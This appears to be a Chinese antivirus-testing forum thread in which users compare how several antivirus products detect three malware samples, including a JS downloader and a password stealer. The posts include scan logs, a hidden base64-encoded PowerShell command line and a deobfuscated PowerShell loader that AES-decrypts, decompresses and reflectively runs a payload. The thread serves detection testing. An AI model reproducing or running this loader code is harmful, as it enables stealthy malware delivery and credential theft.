x3 (2024-03-23)

显示全部楼层 · 发表于 2024-3-23 22:15:00

360

显示全部楼层 · 发表于 2024-3-23 22:16:12

显示全部楼层 · 发表于 2024-3-23 22:47:40

本帖最后由 UNknownOoo 于 2024-3-23 22:55 编辑

火绒
扫描：2x

病毒详情：
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\1.js, 病毒名：SVM:TrojanDownloader/JS.Nemucod.p, 病毒ID：7e19f7fce5c84faa, 处理结果：暂不处理
风险路径：C:\Users\UnknownOoo\Downloads\Compressed\2.cmd, 病毒名：Trojan/BAT.Agent.bw, 病毒ID：9d30624f2530e8ed, 处理结果：暂不处理

复制代码

运行：

防护项目：隐藏执行PowerShell
执行文件：C:\Users\Serendipity\AppData\Local\Temp\Ywideoovuuu.Vdb
执行命令行：C:\Users\SEREND~1\AppData\Local\Temp\Ywideoovuuu.Vdb -WindowStyle hidden -enc JABLAHUAdwBnAHQAcQAgAD0AIABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAoACgAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUAKQAgACsAIAAiAC4AYgBhAHQAIgApACAAfAAgAHMAZQBsAGUAYwB0AC0AbwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAFoAZgBrAGIAeABkAHgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQASwB1AHcAZwB0AHEAKQA7ACQARAB2AHEAeQBiAGsAawBhAG0AZABzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABaAGYAawBiAHgAZAB4ACAAKQA7ACQAWQBzAGMAcwB0AG0AcwBkAGkAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUgBxAHgAdgBtAHEAcwBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEQA
操作结果：已允许
进程ID：2448
操作进程：C:\Windows\System32\cmd.exe
操作进程命令行：C:\Windows\system32\cmd.exe /K "C:\Users\Serendipity\Desktop\3.bat"

复制代码

病毒名称：TrojanSpy/PassStealer.b
病毒ID：861D407817386EB5
虚拟地址：0x0000000000400000
映像大小：264KB
是否完整映像：否
数据流哈希：670798bf
操作结果：已处理
进程ID：11320
操作进程：C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
操作进程命令行："C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
父进程ID：10720
父进程：C:\Windows\System32\RuntimeBroker.exe
父进程命令行：C:\Windows\System32\RuntimeBroker.exe -Embedding

复制代码

显示全部楼层 · 发表于 2024-3-23 22:52:25

解压，ESET杀1，扫描未发现异常，火绒扫描杀2。

显示全部楼层 · 发表于 2024-3-23 23:04:03

bd x2

显示全部楼层 · 发表于 2024-3-23 23:07:10

本帖最后由 DisaPDB 于 2024-3-23 23:27 编辑

Kaspersky scan 2x
2.cmd AMSI kill

事件: 检测到恶意对象
用户: DESKTOP-7PJ65GJ\mac
用户类型: 发起者
应用程序名称: powershell.exe
应用程序路径: C:\Windows\SysWOW64\WindowsPowerShell\v1.0
组件: AMSI 保护
结果说明: 检测到
类型: 木马
名称: HEUR:Trojan.Win32.Generic
精确度: 启发式分析
威胁级别: 高
对象类型: 字符串
对象名称: amsi_stream_27
对象路径: uid://
对象的 SHA256: E3F45870BE3F2313E974A3C9C0455FF9E9CD6B8F2142943D6FF26348C838F433
对象的 MD5: E5FFD5AE4CBA50E03AE621A83E740BFA
原因: 专家分析
数据库发布日期: 2024/3/17 上午6:34:00

复制代码

$host.UI.RawUI.WindowTitle = 'C:\lbtxixe\2.cmd'
$KUZI = @('Ele', 'Sbplr', 'Dcxecompres', 'Enzdtnt', 'CDKroTDKRro', 'Crematem', 'Lqoad', 'Fibromas6S4string', 'MIkMWnodul', 'GEhZzCEzurProces', 'InvYokV', 'ChalJqNgeNextion', 'ReaLiken', 'TyKjzranyformBlyock')
function DecryptAES($encryptedData){
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = [System.Convert]::FromBase64String('TYzwx+VQruSBclwTSei5OE5DbGGUAEnGVbMuihV8YQU=')
$aes.IV = [System.Convert]::FromBase64String('+LTXnHvK40EXoqLlqGzCsw==')
$decryptor = $aes.CreateDecryptor()
$decryptedData = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length)
$decryptor.Dispose()
$aes.Dispose()
return $decryptedData
}
function Decompress($compressedData){
$memoryStreamIn = New-Object System.IO.MemoryStream, $compressedData
$memoryStreamOut = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GZipStream($memoryStreamIn, [IO.Compression.CompressionMode]::Decompress)
$gzipStream.CopyTo($memoryStreamOut)
$gzipStream.Dispose()
$memoryStreamIn.Dispose()
$memoryStreamOut.Dispose()
return $memoryStreamOut.ToArray()
}
$encryptedAssembly = [System.IO.File]::ReadAllBytes([Console]::Title)
$decryptedAssembly = Decompress(DecryptAES([System.Linq.Enumerable]::Skip($encryptedAssembly, 5).Substring(2)))
[System.Reflection.Assembly]::Load($decryptedAssembly).EntryPoint.Invoke($null, $null)
$encryptedScript = [System.IO.File]::ReadAllBytes([Console]::Title)
$decryptedScript = Decompress(DecryptAES([System.Linq.Enumerable]::Skip($encryptedScript, 6).Substring(2)))
Invoke-Expression -Command $decryptedScript

复制代码

事件: 检测到恶意对象
用户: DESKTOP-7PJ65GJ\mac
用户类型: 发起者
组件: 恶意软件扫描
结果: 检测到
结果说明: 检测到
类型: 木马
名称: HEUR:Trojan.Script.Generic
精确度: 启发式分析
威胁级别: 高
对象类型: 文件
对象名称: 1.js
对象路径: C:\Users\mac\Desktop\3
对象的 SHA256: 1A09632B975BE4725612E9E839691638A5519B2D0F62926156F9BC04ADBD25A3
对象的 MD5: C43E09B054BDBC559F99F18314AB21AF
原因: 专家分析
数据库发布日期: 2024/3/17 上午6:34:00

复制代码

事件: 检测到恶意对象
用户: DESKTOP-7PJ65GJ\mac
用户类型: 发起者
组件: 恶意软件扫描
结果: 检测到
结果说明: 检测到
类型: 木马
名称: HEUR:Trojan.BAT.Setter.gen
精确度: 启发式分析
威胁级别: 高
对象类型: 文件
对象名称: 3.bat
对象路径: C:\Users\mac\Desktop\3
对象的 SHA256: B17BB3ACFDBDC750BC117C6E973019D71F6F182B64ED4E680746AC6604158C18
对象的 MD5: 223072360201FB722BF71754187D6146
原因: 专家分析
数据库发布日期: 2024/3/17 上午6:34:00

复制代码

显示全部楼层 · 发表于 2024-3-23 23:37:42

安天

显示全部楼层 · 发表于 2024-3-24 10:49:24

清空

显示全部楼层 · 发表于 2024-3-24 11:56:59

瑞星esm365 miss all

[病毒样本] x3 (2024-03-23)

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源